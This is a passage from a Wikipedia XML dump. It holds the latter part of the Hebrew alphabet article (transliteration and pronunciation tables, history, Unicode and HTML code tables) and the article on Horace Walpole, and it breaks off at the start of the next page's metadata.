|| kh, ch (4)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ט
|| {{unicode|ṭêṯ}} || ţêth || t`êth
|| tet || tet || tes
|| {{unicode|ṭ}} || ţ || t` 
|| t
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|י
|| {{unicode|yôḏ}} || yôdh || yôdh
|| yod || yod, yud || yud
|| ? ||y || y 
|| y, i (8)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ך כ
|| {{unicode|kāp̄, ḵāp̄}} || kāph, khāph || kàph, khàph
|| kaf || kaf, chaf || kof, chof
|| {{unicode|k, ḵ}} || k, kh || k, kh 
|| k, ch
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ל
|| {{unicode|lā́meḏ}} || lāmedh || làmedh 
|| lamed || lamed || lomed
|| ? || l || l
|| l 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ם מ
|| mēm || mēm || mèm
|| mem || mem || mem
|| ? || m|| m
|| m
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ן נ
|| ? || nûn || nûn 
|| nun || nun || nun 
|| ? || n || n
|| n
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ס
|| {{unicode|sā́mekh}} || sāmekh || sàmekh 
|| samekh || samech || somech
|| ? || s|| s
|| s 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ע
|| {{unicode|ʿáyin,}} (3) {{unicode|ġáyin}} || ‘áyin, (3) ġáyin || `áyin, (3) 3áyin
|| ayin || ayin || ayin, oyin
|| {{unicode|ʿ}}, (3) {{unicode|ġ}} || ‘, (3) ġ || `, (3) 3 
|| ' (9)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ף פ
|| {{unicode|pê, p̄ê}} || pê, phê || pê, phê 
|| pe || pe, pei, fe/fei || pei, fei
|| {{unicode|p, p̄}} || p, ph || p, ph 
|| p, f
|-
|  align=&quot;center&quot; style=&quot;font-size:200%&quot;|ץ צ
|| {{unicode|ṣāḏê}} || şādhê || s`àdhê
|| tsadi || tzadi, tzadik || tsodi, tsodik
|| {{unicode|ṣ}} || ş || s`
|| tz, ts, z
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ק
|| {{unicode|qōp̄}} || qôph || qôph
|| qof || kof, kuf || kuf 
|| ? || k || k 
|| q
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ר
|| {{unicode|rêš}} || rêš || rêsh
|| resh || resh, reish || reish 
|| ? || r|| r
|| r
|-
|  align=&quot;center&quot; style=&quot;font-size:200%&quot;|ש 
|| {{unicode|šîn, śîn}} || šîn, śîn || shîn, lhîn
|| shin || shin, sin || shin, sin
|| {{unicode|š, ś}} || š, ś || sh, lh
|| sh, s
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ת
|| {{unicode|tāw, ṯāw}} || tāw, thāw || tàw, thàw
|| tav || tav, taf || tov, tof, sov, sof
|| {{unicode|t, ṯ}} || t, th || t, th 
|| t
|}

===Numerical value and pronunciation===

{|class=&quot;wikitable&quot;
|-
! rowspan=3 | Symbol 
!! rowspan=3 | Numerical&lt;br&gt;Value 
!! colspan=7 | Pronunciation ([[International Phonetic Alphabet|IPA]])
|-
!! rowspan=2 | [[Israeli Hebrew|Modern Israeli]]
!! rowspan=2 | [[Ashkenazi Hebrew language|Ashkenazi]]
!! rowspan=2 | [[Sephardi Hebrew language|Sephardi]]
!! rowspan=2 | [[Yemenite Hebrew language|Yemenite]]
!! rowspan=2 | [[Tiberian Hebrew|Tiberian]]
!! colspan=2 | Reconstructed 
|-
! [[Mishnaic Hebrew|Mishnaic]] !! [[Biblical Hebrew|Biblical]]
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|א
|| 1
|| [ [[glottal stop|{{IPA|ʔ}}]], - {{IPA|]}} || [ - ] || {{IPA|[ ʔ, - ]}} || {{IPA|[ ʔ, - ]}} || {{IPA|[ ʔ, - ]}} || {{IPA|[ ʔ, - ]}} || {{IPA|[ ʔ ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ב
|| 2
|| {{IPA|[ [[voiced bilabial plosive|b]], [[voiced labiodental fricative|v]] ]}} || {{IPA|[ b, v~v̥ ]}} || {{IPA|[ b, b~[[voiced bilabial fricative|β]]~v ]}} || {{IPA|[ b ]}} || {{IPA|[ b, v ]}} || {{IPA|[ b, β ]}} || {{IPA|[ b ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ג
|| 3
|| {{IPA|[ [[voiced velar plosive|ɡ]] ]}} || {{IPA|[ ɡ~ɡ̊ ]}} || {{IPA|[ ɡ, ɡ~[[voiced velar fricative|ɣ]] ]}} || {{IPA|[ [[voiced postalveolar affricate|ʤ]], ɣ ]}} || {{IPA|[ ɡ, ɣ ]}} || {{IPA|[ ɡ, ɣ ]}} || {{IPA|[ ɡ ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ד 
|| 4
|| {{IPA|[ [[voiced alveolar plosive|d]] ]}} || {{IPA|[ d~d̥ ]}} || {{IPA|[ [[voiced dental plosive|d̪]]~[[voiced dental fricative|ð]] ]}} || {{IPA|[ d̪, ð ]}} || {{IPA|[ d̪, ð ]}} || {{IPA|[ d̪, ð ]}} || {{IPA|[ d̪ ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ה
|| 5
|| {{IPA|[ [[voiceless glottal fricative|h]]~[[glottal stop|ʔ]], - ]}} || {{IPA|[ h, - ]}} || {{IPA|[ h, - ]}} || {{IPA|[ h, - ]}} || {{IPA|[ h, - ]}} || {{IPA|[ h, - ]}} || {{IPA|[ h ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ו
|| 6
|| {{IPA|[ [[voiced labiodental fricative|v]] ]}} || {{IPA|[ v~v̥ ]}} || {{IPA|[ v ]}} || {{IPA|[ [[labial-velar approximant|w]] ]}} || {{IPA|[ w ]}} || {{IPA|[ w ]}} || {{IPA|[ w ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ז
|| 7 
|| {{IPA|[ [[voiced alveolar fricative|z]] ]}} || {{IPA|[ z~z̥ ]}} || {{IPA|[ z ]}} || {{IPA|[ z ]}} || {{IPA|[ z ]}} || {{IPA|[ z ]}} || {{IPA|[ [[voiced alveolar affricate|dz]] ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ח
|| 8
|| {{IPA|[ [[voiceless velar fricative|x]]~[[voiceless pharyngeal fricative|ħ]] ]}} || {{IPA|[ x ]}} || {{IPA|[ ħ ]}} || {{IPA|[ ħ ]}} || {{IPA|[ ħ ]}} || {{IPA|[ ħ, x ]}} || {{IPA|[ ħ, x ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ט
|| 9
|| {{IPA|[ [[voiceless alveolar plosive|t]] ]}} || {{IPA|[ t ]}} || {{IPA|[ [[voiceless dental plosive|t̪]] ]}} || {{IPA|[ t̴̪ ]}} (5) || {{IPA|[ t̴̪ ]}} || {{IPA|[ t̪ˁ ]}} (6) || {{IPA|[ t̪ʼ ]}} (7) 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|י
||10
|| {{IPA|[ [[palatal approximant|j]] ]}} || {{IPA|[ j ]}} || {{IPA|[ j ]}} || {{IPA|[ j ]}} || {{IPA|[ j ]}} || {{IPA|[ j ]}} || {{IPA|[ j ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ך כ
|| 20
|| {{IPA|[ [[voiceless velar plosive|k]], [[voiceless velar fricative|x]] ]}} || {{IPA|[ k, x ]}} || {{IPA|[ k, x ]}} || {{IPA|[ k, x ]}} || {{IPA|[ k, x ]}} || {{IPA|[ k, x ]}} || {{IPA|[ k ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ל
|| 30
|| {{IPA|[ [[alveolar lateral approximant|l]] ]}} || {{IPA|[ l~ɫ ]}} || {{IPA|[ l ]}} || {{IPA|[ l ]}} || {{IPA|[ l ]}} || {{IPA|[ l ]}} || {{IPA|[ l ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ם מ
|| 40
|| {{IPA|[ [[bilabial nasal|m]] ]}} || {{IPA|[ m ]}} || {{IPA|[ m ]}} || {{IPA|[ m ]}} || {{IPA|[ m ]}} || {{IPA|[ m ]}} || {{IPA|[ m ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ן נ
|| 50
|| {{IPA|[ [[alveolar nasal|n]] ]}} || {{IPA|[ n ]}} || {{IPA|[ [[dental nasal|n̪]] ]}} || {{IPA|[ n̪ ]}} || {{IPA|[ n̪ ]}} || {{IPA|[ n̪ ]}} || {{IPA|[ n̪ ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ס
|| 60
|| {{IPA|[ [[voiceless alveolar fricative|s]] ]}} || {{IPA|[ s ]}} || {{IPA|[ s ]}} || {{IPA|[ s ]}} || {{IPA|[ s ]}} || {{IPA|[ s ]}} || {{IPA|[ [[voiceless alveolar affricate|ts]] ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ע
|| 70
|| [ {{IPA|[[glottal stop|ʔ]] ~ [[voiced pharyngeal fricative|ʕ]]}}, &amp;ndash;&amp;nbsp;] || [ - ] || [ {{IPA|ʕ, [[velar nasal|ŋ]],}} &amp;ndash;&amp;nbsp;] || [ {{IPA|ʕ}} ] || [ {{IPA|ʕ}} ] || [ {{IPA|ʕ, [[voiced velar fricative|ɣ]]}} ] || [ {{IPA|ʕ, ɣ}} ] 
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ף פ
|| 80
|| {{IPA|[ [[voiceless bilabial plosive|p]], [[voiceless labiodental fricative|f]] ]}} || {{IPA|[ p, f ]}} || {{IPA|[ p, f ]}} || {{IPA|[ f ]}} || {{IPA|[ p, f ]}} || {{IPA|[ p, [[voiceless bilabial fricative|ɸ]] ]}} || {{IPA|[ p ]}}
|-
|  align=&quot;center&quot; style=&quot;font-size:200%&quot;|ץ צ
|| 90
|| {{IPA|[ [[voiceless alveolar affricate|ʦ]] ]}} || {{IPA|[ ʦ ]}} || {{IPA|[ ʦ ]}} || {{IPA|[ [[voiceless alveolar fricative|s̴]] ]}} (5) || {{IPA|[ s̴ ]}} || {{IPA|[ sˁ ]}} (6) || {{IPA|[ [[voiceless alveolar affricate|ʦʼ]], [[voiceless postalveolar affricate|ʧʼ]], [[voiceless alveolar lateral affricate|t͡ɬʼ]] ]}} (7)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ק
|| 100
|| {{IPA|[ [[voiceless velar plosive|k]] ]}} || {{IPA|[ k ]}} || {{IPA|[ k ]}} || {{IPA|[ [[voiced velar plosive|ɡ]] ]}} || {{IPA|[ [[voiceless uvular plosive|q]] ]}} || {{IPA|[ q ]}} || {{IPA|[ kʼ ]}} (7)
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ר
|| 200
|| {{IPA|[ [[voiced uvular fricative|ʁ]] ]}} || {{IPA|[ [[uvular trill|ʀ]] ]}} || {{IPA|[ [[alveolar trill|r]]~[[alveolar flap|ɾ]] ]}} || {{IPA|[ r~ɾ ]}} || {{IPA|[ ɾ ]}} || {{IPA|[ ɾ ]}} || {{IPA|[ ɾ ]}}
|-
|  align=&quot;center&quot; style=&quot;font-size:200%&quot;|ש 
|| 300
|| {{IPA|[ [[voiceless postalveolar fricative|ʃ]], [[voiceless alveolar fricative|s]] ]}} || {{IPA|[ ʃ, s ]}} || {{IPA|[ ʃ, s ]}} || {{IPA|[ ʃ, s ]}} || {{IPA|[ ʃ, s ]}} || {{IPA|[ ʃ, [[voiceless alveolar lateral fricative|ɬ]] ]}} || {{IPA|[ [[voiceless postalveolar affricate|ʧ]], [[voiceless alveolar lateral affricate|t͡ɬ]], s ]}}
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ת
|| 400
|| {{IPA|[ [[voiceless alveolar plosive|t]] ]}} || {{IPA|[ t, [[voiceless alveolar fricative|s]] ]}} || {{IPA|[ [[voiceless dental plosive|t̪]], [[voiceless dental fricative|θ]] ]}} || {{IPA|[ t̪, &amp;theta; ]}} || {{IPA|[ t̪, θ ]}} || {{IPA|[ t̪, θ ]}} || {{IPA|[ t̪ ]}}
|}

===Notes=== 
# unwritten in initial and final positions, though often not written at all
# unwritten in final positions
# archaic
# h initial or after consonants, ch everywhere else
# [[velarization|velarized]] or [[pharyngealization|pharyngealized]]
# pharyngealized
# sometimes said to be [[ejective consonant|ejective]] but more likely [[glottalized]].
# i in final positions or before consonants
# often not written at all

----

* Historically, the consonants ב ''bet'', ג ''gimel'', ד ''dalet'', כ ''kaf'', פ ''pe'', and ת ''tav'' each had two sounds: one hard ([[plosive consonant]]), and one soft ([[fricative consonant]]), depending on the position of the letter and other factors.  When vowel diacritics are used, the hard sounds are indicated by a central dot called ''[[dagesh]]'' (דגש), while the soft sounds lack a ''dagesh''.  In [[masoretic]] manuscripts, the soft fricative consonants are indicated by a small line on top of the letter; this diacritical mark is called ''raphe'' (רפה), but its use has been largely discontinued in printed texts.
* א ''alef'', ה ''he'', ו ''vav'' and י ''yod'' are consonants that can sometimes fill the position of a vowel. ''vav'' and ''yod'' in particular are more often vowels than they are consonants.
* ש ''shin'' and ''sin'' are two separate [[phoneme|phonemes]] written with the same letter. They are not mutually [[allophony|allophonic]].  When vowel diacritics are used, the two phonemes are differentiated with a ''shin-dot'' or ''sin-dot''; the shin-dot is above the upper-right side of the letter, and sin-dot is above the upper-left side of the letter.
* In [[Israel]]'s general population, many consonants have merged to the same pronunciation.  They are:
** א ''alef'' with ''ayin'' and (varyingly) ה ''he''
** ב ''bet'' (without ''dagesh'') with ו ''vav''
** ח ''het'' with כ ''kaf'' (without ''dagesh'')
** ט ''tet'' with ת ''tav'' (both with and without dagesh)
** כ ''kaf'' (with ''dagesh'') with ק ''qof''
** ס ''samekh'' with שׂ ''sin'' (but not with שׁ ''shin'')
** צ ''tsadi'' with the consonant cluster תס ''tav-samekh''

===Vowel formation===

Some of the letters, as well as their consonantal function, also acted as ''matres lectionis'' to represent vowels, as follows:

{|class=&quot;wikitable&quot;
|-
!Symbol!!Name!!Vowel formation
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|א 
|| alef  
|| ê, ệ, ậ, â, ô
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ה
|| he
|| ê, ệ, ậ, â, ô
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|ו
|| vav
||  ô, û
|-
| align=&quot;center&quot; style=&quot;font-size:200%&quot;|י
|| yod 
|| î, ê, ệ
|}

===Ancient Hebrew===

Some of the variations in sound mentioned above are due to a systematic feature of [[Ancient Hebrew]]. The six consonants /p t k b d g/ were pronounced differently depending on their position. These letters were also called BeGeDKePHeT ([[IPA chart for English|pronounced]] {{IPA|/beɪgɛd'kɛfɛt/}}) letters.  (The full details are very complex; this summary omits some points.) They were pronounced as stops [p t k b d g] at the beginning of a syllable, or when doubled. They were pronounced as [[fricative]]s {{unicode|[p̄ ṯ ḵ ḇ ḏ ḡ]}} &amp;mdash; [[International Phonetic Alphabet|IPA]] {{IPA|[f θ x v ð ɣ]}} when preceded by a vowel. The stop and double pronunciations were indicated by the ''dagesh''. In Modern Hebrew the sounds {{unicode|[ḏ]}} and {{unicode|[ḡ]}} have reverted to [d] and [g] respectively, and {{unicode|[ṯ]}} has become [t], so only the remaining three consonants /b k p/ show variation.

ו ''vav'' was a semivowel /w/ (as in English, not as in German).

ח ''het'' and ע ''ayin'' were [[pharyngeal consonant|pharyngeal]] [[fricative consonant|fricatives]], צ ''tsadi'' was an [[emphatic consonant|emphatic]] /s/, ט ''tet'' was an emphatic /t/, and ק ''qof'' was /q/. All these are common [[Semitic languages|Semitic]] [[consonant]]s.

שׂ ''sin'' (the /s/ variant of ש ''shin'') was originally different from both שׁ shin and ס ''samekh'', but had become /s/ the same as ס ''samekh'' by the time the vowel pointing was devised.  Because of [[cognate]]s with other [[Semitic language]]s, this phoneme is known to have originally been a [[lateral consonant]], most likely [[International Phonetic Alphabet|IPA]] the [[fricative]] {{IPA|/ɬ/}} (as in [[Welsh language|Welsh]] ''ll'') or the [[affricate]] {{IPA|/tɬ/}} (as in [[Náhuatl]] ''tl'').

==History==

[[Archaeology|Archeological]] evidence indicates that the original Hebrew script is related to the [[Phoenician alphabet|Phoenician script]] that was in wide use in the [[Middle East]] region at the end of the [[2nd millennium BCE]].  (Eventually, in [[Europe]], this alphabet evolved  into the [[Greek alphabet|Greek]] and [[Roman alphabet|Roman]] alphabets). Phoenician script was borrowed by the [[Hebrews]] during the [[12th century BCE|12th]] or [[11th century BCE]], and around the [[9th century BCE]], a distinct Hebrew variant, the original &quot;Hebrew script&quot;, emerged. This script was widely used in the ancient kingdoms of [[Kingdom of Israel|Israel]] and [[Kingdom of Judah|Judah]] until they fell in the [[8th century BCE|8th]] and [[6th century BCE|6th]] centuries BCE, respectively.

Following the [[Babylonian captivity of Judah|Babylonian exile]], [[Jew|Jews]] gradually stopped using the Hebrew script, and instead adopted the [[Babylon|Babylonian]] [[Aramaic script]] (which was also originally derived from the Phoenician script). This script, used for writing Hebrew, later evolved into the Jewish, or &quot;square&quot; script, that is still used today. &quot;Square&quot;-related scripts were in use all over the Middle East for several hundred years, but following the rise of [[Christianity]] (and later, the rise of [[Islam]]), they gave way to the [[Roman alphabet|Roman]] and [[Arabic alphabet|Arabic]] alphabets, respectively. According to traditional [[Judaism|Jewish]] thought, the Hebrew writing system contained all the current letters at the time of [[Moses]], although [[Ezra]] is known for his contribution to the square form. 

Following the decline of [[Hebrew language|Hebrew]] and [[Aramaic]] as the spoken languages of the Jews, the Hebrew alphabet was adopted in order to write down the languages of the Jewish diaspora ([[Karaim language|Karaim]], [[Judeo-Arabic language|Judæo-Arabic]], [[Ladino language|Ladino]], [[Yiddish language|Yiddish]], etc.). The Hebrew alphabet was retained as the alphabet used for writing down the [[Hebrew language]] during its rebirth in the end of the [[19th century]], despite several unsuccessful attempts to replace it with the Latin alphabet.

==Unicode Table==

The [[Unicode]] Hebrew block extends from U+0590 to U+05FF. It includes [[letter]]s, [[Ligature (typography)|ligature]]s, [[combining diacritical mark]]s (''[[niqqud]]'' and [[cantillation]] marks) and [[punctuation]].

{| class=&quot;Unicode&quot;
|- align=&quot;center&quot;
|&amp;nbsp;||&amp;nbsp;||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|- align=&quot;center&quot;
|590||&amp;nbsp;||֐||֑||֒||֓||֔||֕||֖||֗||֘||֙||֚||֛||֜||֝||֞||֟
|- align=&quot;center&quot;
|5A0||&amp;nbsp;||֠||֡||֢||֣||֤||֥||֦||֧||֨||֩||֪||֫||֬||֭||֮||֯
|- align=&quot;center&quot;
|5B0||&amp;nbsp;||ְ||ֱ||ֲ||ֳ||ִ||ֵ||ֶ||ַ||ָ||ֹ||ֺ||ֻ||ּ||ֽ||־||ֿ
|- align=&quot;center&quot;
|5C0||&amp;nbsp;||׀||ׁ||ׂ||׃||ׄ||ׅ||׆||ׇ||׈||׉||׊||׋||׌||׍||׎||׏
|- align=&quot;center&quot;
|5D0||&amp;nbsp;||א||ב||ג||ד||ה||ו||ז||ח||ט||י||ך||כ||ל||ם||מ||ן
|- align=&quot;center&quot;
|5E0||&amp;nbsp;||נ||ס||ע||ף||פ||ץ||צ||ק||ר||ש||ת||׫||׬||׭||׮||ׯ
|- align=&quot;center&quot;
|5F0||&amp;nbsp;||װ||ױ||ײ||׳||״||׵||׶||׷||׸||׹||׺||׻||׼||׽||׾||׿
|}

Note: The codes װ ױ ײ are intended for Yiddish. They are not used in Hebrew.

==HTML Code Table==
'''Alef-Bet'''
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot; width=&quot;500&quot; style=&quot;text-align:center;&quot; class=&quot;wikitable&quot;
|-
| width=&quot;25%&quot; |ג|| width=&quot;25%&quot; |ב|| width=&quot;25%&quot; |בּ|| width=&quot;25%&quot; |א
|- 
!&amp;amp;#1490;||&amp;amp;#1489;||&amp;amp;#64305;||&amp;amp;#1488;
|- 
|ז||ו||ה||ד
|- 
!&amp;amp;#1494;||&amp;amp;#1493;||&amp;amp;#1492;||&amp;amp;#1491;
|- 
|כּ||י||ט||ח
|- 
!(&amp;amp;#1499;&amp;amp;#1468;)||&amp;amp;#1497;||&amp;amp;#1496;||&amp;amp;#1495;
|- 
|מ||ל||ך||כ
|- 
!&amp;amp;#1502;||&amp;amp;#1500;||&amp;amp;#1498;||&amp;amp;#1499;
|- 
|ס||ן||נ||ם
|- 
!&amp;amp;#1505;||&amp;amp;#1503;||&amp;amp;#1504;||&amp;amp;#1501;
|- 
|ף||פ||פּ||ע 
|- 
!&amp;amp;#1507;||&amp;amp;#1508;||(&amp;amp;#1508;&amp;amp;#1468;)||&amp;amp;#1506; 
|- 
|ר||ק||ץ||צ
|- 
!&amp;amp;#1512;||&amp;amp;#1511;||&amp;amp;#1509;||&amp;amp;#1510;
|- 
|ת||תּ||שׂ||שׁ
|- 
!&amp;amp;#1514;||(&amp;amp;#1514;&amp;amp;#1468;)||&amp;amp;#64299;||&amp;amp;#64298;
|}


'''Vowels and Unique Characters'''
{| width=250 border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot; style=&quot;text-align:center;&quot; class=&quot;wikitable&quot;
|-
| width=50%|Short/Hard||Long/Soft
|}

{| width=250 border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot; style=&quot;text-align:center;&quot; class=&quot;wikitable&quot;
|-
| width=50%|( ַ )||( ָ )
|-
!&amp;amp;#1463;||&amp;amp;#1464;
|-
|( ֵ )||( ֶ )
|-
!&amp;amp;#1461;||&amp;amp;#1462;
|-
|וֹ||( ֹ )
|- 
!&amp;amp;#64331;||&amp;amp;#1465;
|-
|וּ||( ֻ )
|-
!&amp;amp;#64309;||&amp;amp;#1467;
|- 
|( ִ )|| Letter Yud ( י )
|-
!&amp;amp;#1460;||&amp;amp1497;
|}
{| width=250 border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot; style=&quot;text-align:center;&quot; class=&quot;wikitable&quot;
|-
| width=50% | Shva Nach ( ְ )||Shva Nah ( ְ )
|-
!&amp;amp;#1456;||&amp;amp;#1456;
|-
| colspan=&quot;2&quot; |Dagesh ( ּ )
|-
! colspan=&quot;2&quot; |&amp;amp;#1468;
|}

==See also==
* [[History of the Hebrew language]]
* [[Niqqud]]

== References ==
Roots of the Hebrew Alphabet
* Hoffman, Joel M.  2004.  ''In the Beginning:  A Short History of the Hebrew Language.''  New York:  NYU Press.
* Saenz-Badillos, Angel.  1993.  ''A History of the Hebrew Language.''  Cambridge, England:  Cambridge University Press.
*[[Mathers table]]
*[http://qumran.com/alephbeth.htm ''Aleph-Beth Quick Study Chart.''] February 28, 2005. Qumran Bet Community. Retrieved January 5th, 2006.
*[http://www.ancient-hebrew.org/2_chapter4.html ''The Ancient Hebrew Language and Alephbet.''] August 11, 2004. The Ancient Hebrew Research Center. Retrieved January 5th, 2006.

==External links==
{{Commons|Hebrew alphabet}}
* [http://members.aol.com/OlivThill6/private/hebal10.htm HebAlpha, freeware to assist in learning the alphabet]
* [http://lost1.net/?page=hebrew Al's Hebrew Transliterator, converts latin alphabet transliteration into Hebrew HTML codes]
* [http://hebrew4christians.com/Grammar/Unit_One/unit_one.html A free online course to learn the Hebrew consonants]
* [http://www.amhaaretz.org/translit/ Hebrew translit] for typing Hebrew with an English keyboard
*[http://www.kabalahyoga.com/YourName.aspx Transliterate your English name into Hebrew Letters]

[[Category:Abjad writing systems]]
[[Category:Canaanite languages]]
[[Category:Hebrew alphabet| ]]

[[ar:عبرية (كتابة)]]
[[ast:Alfabetu hebréu]]
[[br:Lizherenneg hebraek]]
[[ca:Alfabet hebreu]]
[[da:Hebraisk alfabet]]
[[de:Hebräisches Alphabet]]
[[es:Alfabeto hebreo]]
[[eo:Hebrea alfabeto]]
[[fr:Alphabet hébreu]]
[[gl:Alfabeto hebreo]]
[[ko:히브리 문자]]
[[it:Alfabeto ebraico]]
[[he:אלפבית עברי]]
[[lad:Alefbet ebreo]]
[[nl:Hebreeuws alfabet]]
[[ja:ヘブライ文字]]
[[no:Hebraisk alfabet]]
[[nn:Det hebraiske alfabetet]]
[[pl:Alfabet hebrajski]]
[[pt:Alfabeto hebraico]]
[[ro:Alfabetul ebraic]]
[[ru:Еврейский алфавит]]
[[sk:Hebrejská abeceda]]
[[sr:Хебрејско писмо]]
[[fi:Heprealainen kirjaimisto]]
[[sv:Hebreiska alfabetet]]
[[tr:İbrani Alfabesi]]
[[uk:Гебрейська абетка]]
[[zh:希伯来字母]]</text>
    </revision>
  </page>
  <page>
    <title>Horace Walpole, 4th Earl of Orford</title>
    <id>13447</id>
    <revision>
      <id>41488511</id>
      <timestamp>2006-02-27T18:27:14Z</timestamp>
      <contributor>
        <username>Mackensen</username>
        <id>20329</id>
      </contributor>
      <comment>Template:PeerNavbox -&gt; Template:Succession box using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Horace Walpole.jpg|266px|thumb|right|Horace Walpole]]
'''Horatio Walpole, 4th Earl of Orford''', more commonly known as '''Horace Walpole''', ([[September 24]], [[1717]] &amp;ndash; [[March 2]], [[1797]]), was a politician, writer, architectural innovator and namesake of his cousin [[Horatio Nelson]].

He was born in [[London]], the youngest son of [[Prime Minister of the United Kingdom|British Prime Minister]] [[Robert Walpole]]. He was educated at [[Eton College]] and [[King's College, Cambridge]].  His homosexual preference revealed itself early, and he is believed to have had affairs with the poet [[Thomas Gray]], and with [[Henry Fiennes Pelham-Clinton, 2nd Duke of Newcastle|Henry Fiennes Clinton, 9th Earl of Lincoln]] (later 2nd [[Duke of Newcastle]]). Gray accompanied Walpole on the [[Grand Tour]], but they quarrelled, and Walpole returned to England in [[1741]] and entered parliament.  He was never politically ambitious, but remained an MP even after the death of his father in [[1745]] left him a man of independent means.

Following his father's politics, he was a devotee of King [[George II of Great Britain|George II]] and Queen [[Caroline of Ansbach|Caroline]], siding with them against their son, [[Frederick, Prince of Wales]], about whom Walpole wrote spitefully in his memoirs. Walpole's home, [[Strawberry Hill, London|Strawberry Hill]], near [[Twickenham]], was a fanciful concoction of neo-Gothic which began a new architectural trend.  In [[1764]], he published his [[Gothic novel]], ''[[The Castle of Otranto]]'', setting a literary trend to go with the architecture.  From [[1762]] on, he published his ''Anecdotes of Painting in England'', based on [[George Vertue]]'s manuscript notes. His memoirs of the Georgian social and political scene, though heavily biased, are a useful primary source for historians.  He also coined the term [[Serendipity]].

His father was created [[Earl of Orford]] in 1742. Horace's elder brother, [[Robert Walpole, 2nd Earl of Orford]] (c.1701-1751), passed the title on to his son [[George Walpole, 3rd Earl of Orford]] (1730-1791). When George died unmarried, Horace Walpole became the 4th Earl of Orford. When Horace Walpole died in 1797 the title became extinct. It was recreated in 1806 for Horace's cousin [[Horatio Walpole, 1st Earl of Orford]] (1723-1809). The great-grandson of the first earl of this creation, [[Horatio William Walpole, 4th Earl of Orford|Horatio William Walpole]] (1813-1894), became the 4th Earl of Orford of the 1806 creation. The 1806 creation became extinct on the death of [[Robert Horace Walpole, 5th Earl of Orford]] (1854-1931). Descendants of a younger brother of the 1st Earl of the 1806 creation have inherited older baronies, including one once held by Horace.

{{start box}}{{succession box | before=[[George Walpole]] | title=[[Earl of Orford]] |  | years= | after=Extinct}}
==External links==
*[http://www.litencyc.com/php/speople.php?rec=true&amp;UID=4587 The Literary Encyclopedia.]
*[http://www.library.yale.edu/Walpole/Walstudy.htm Horace Walpole Study Resources]
* {{gutenberg author| id=Horace+Walpole | name=Horace Walpole, 4th Earl of Orford}}
**[http://www.gutenberg.net/etext/4609 The Letters of Horace Walpole, Volume 1]
**[http://www.gutenberg.net/etext/4610 The Letters of Horace Walpole, Volume 2]
**[http://www.gutenberg.net/etext/4773 The Letters of Horace Walpole, Volume 3]
**[http://www.gutenberg.net/etext/4919 The Letters of Horace Walpole, Volume 4]
**[http://www.gutenberg.net/etext/12073 Letters of Horace Walpole, Volume I]
**[http://www.gutenberg.net/etext/12074 Letters of Horace Walpole, Volume II]
**[http://www.gutenberg.net/etext/696 The Castle of Otranto]
* [http://www.friendsofstrawberryhill.org The Friends of Strawberry Hill]
* [http://www.twickenham-museum.org.uk/detail.asp?ContentID=140 The Twickenham Museum - Horace Walpole]


[[Category:1717 births|Walpole, Horace]]
[[Category:1797 deaths|Walpole, Horace]]
[[Category:Alumni of King's College, Cambridge|Walpole, Horace]]
[[Category:Earls in the Peerage of Great Britain|Walpole, Horace]]
[[Category:English memoirists|Walpole, Horace]]
[[Category:English novelists|Walpole, Horace]]
[[Category:Gay politicians|Walpole, Horace]]
[[Category:Gay writers|Walpole, Horace]]
[[Category:LGBT politicians from the United Kingdom]]
[[Category:Old Etonians|Walpole, Horace]]

[[de:Horace Walpole]]
[[fr:Horace Walpole]]
[[it:Horace Walpole]]
[[ja:&amp;#12507;&amp;#12524;&amp;#12473;&amp;#12539;&amp;#12454;&amp;#12457;&amp;#12523;&amp;#12509;&amp;#12540;&amp;#12523;]]
[[nl:Horace Walpole]]
[[pl:Horace Walpole]]
[[sv:Horace Walpole]]</text>
    </revision>
  </page>
  <page>
    <title>Horace Engdahl</title>
    <id>13448</id>
    <revision>
      <id>37289708</id>
      <timestamp>2006-01-30T01:11:36Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
